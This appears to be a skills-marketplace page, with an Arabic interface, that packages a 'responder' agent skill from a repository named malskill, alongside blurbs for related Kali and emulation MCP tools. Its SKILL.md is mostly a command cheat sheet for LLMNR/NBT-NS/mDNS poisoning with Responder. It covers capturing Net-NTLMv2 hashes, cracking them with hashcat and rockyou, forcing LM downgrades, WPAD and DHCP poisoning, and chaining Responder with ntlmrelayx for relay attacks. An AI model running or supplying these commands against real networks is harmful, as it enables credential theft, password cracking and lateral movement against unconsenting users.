القائمة
Auth/lab ref: Responder LLMNR/NBT-NS/mDNS assessment; name-resolution exposure, NTLM relay-risk evidence, lab-safe validation.
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/AeonDave/malskill --skill responderيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
Operate the MCPwn Kali/Debian MCP efficiently: manage sessions, discover catalog tools, choose synchronous, detached, or interactive execution, move files through workspace/CAS planes, establish tunnels and shells, and run GDB or Frida debugging in the MCPwn runtime or through explicit host/device transports. Use for MCPwn or Kali MCP work, pwn/CTF and dynamic-analysis sessions, remote targets, connectivity or file-transfer problems, and optional NeuroMatrix-backed emulation/debugging through MCPwn's emulation domain.
Operate the standalone, client-neutral NeuroMatrix emulation MCP: create isolated sessions, stage CAS artifacts, discover and run Unicorn/Qiling/QEMU/Renode tools, manage jobs and interactive processes, expose guest endpoints, and debug emulated targets with GDB. Use for reverse engineering, user-mode or full-system emulation, firmware/kernel/MCU analysis, guest-service rehosting, runtime-evidence collection, or as the optional emulation provider behind MCPwn or another orchestrator.
Create, implement, scaffold, migrate, or review Model Context Protocol (MCP) servers against modern MCP 2026-07-28. Use for server architecture, tool/resource/prompt contracts, stdio or Streamable HTTP transports, MRTR, optional extensions, authorization, security, and real-transport validation. Also use to isolate legacy initialization or session behavior. Do not use merely to configure an MCP client or invoke an existing server.
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | responder |
| description | Auth/lab ref: Responder LLMNR/NBT-NS/mDNS assessment; name-resolution exposure, NTLM relay-risk evidence, lab-safe validation. |
| license | GPL-3.0 |
| compatibility | Linux. |
| metadata | {"author":"AeonDave","version":"1.1"} |
LLMNR/NBT-NS/mDNS poisoner — captures Net-NTLMv2 hashes from Windows hosts on local network.
When a Windows host tries to resolve a hostname that DNS cannot answer, it falls back to LLMNR/NBT-NS broadcast. Responder answers those broadcasts with its own IP, causing the Windows host to authenticate — Responder captures the Net-NTLMv2 hash.
# Start passively (analyze mode — no poisoning)
sudo responder -I eth0 -A
# Active poisoning (captures hashes)
sudo responder -I eth0 -wv
# Captured hashes saved to:
# /usr/share/responder/logs/ or ~/.responder/logs/
| Flag | Description |
|---|---|
-I <iface> | Network interface |
-A | Analyze mode — no poisoning |
-w | Enable WPAD rogue proxy server |
-d | Enable DHCP poisoning |
-b | Enable Basic HTTP auth capture |
-v | Verbose (show each request) |
-f | Fingerprint hosts |
--lm | Downgrade auth to LM (legacy) |
--disable-ess | Disable extended session security |
--lm | Force LM hashing |
-r | Enable WINS server |
--no-multirelay | Disable relay mode |
SMB, HTTP, HTTPS, FTP, DNS, LDAP, MSSQL, NTLMv1, NTLMv2
# Passive capture — wait for Windows hosts to broadcast
sudo responder -I eth0 -wv
# View captured hashes in real-time
tail -f /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt
# Crack captured hashes
hashcat -a 0 -m 5600 hashes.txt rockyou.txt
# Disable SMB + HTTP for relay (if using ntlmrelayx in parallel)
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
sudo responder -I eth0 -wv
# Combined relay attack:
# Terminal 1: ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# Terminal 2: Responder (SMB+HTTP off)
sudo responder -I eth0 -wv
[SMB] NTLMv2 Hash : DOMAIN\user::DOMAIN:challenge:hash:blob
Crack with hashcat mode 5600 (Net-NTLMv2) or pass via relay.
| File | When to load |
|---|---|
references/ntlm-relay.md | Full relay chain: ntlmrelayx setup, LDAP relay, SMB signing bypass, RBCD |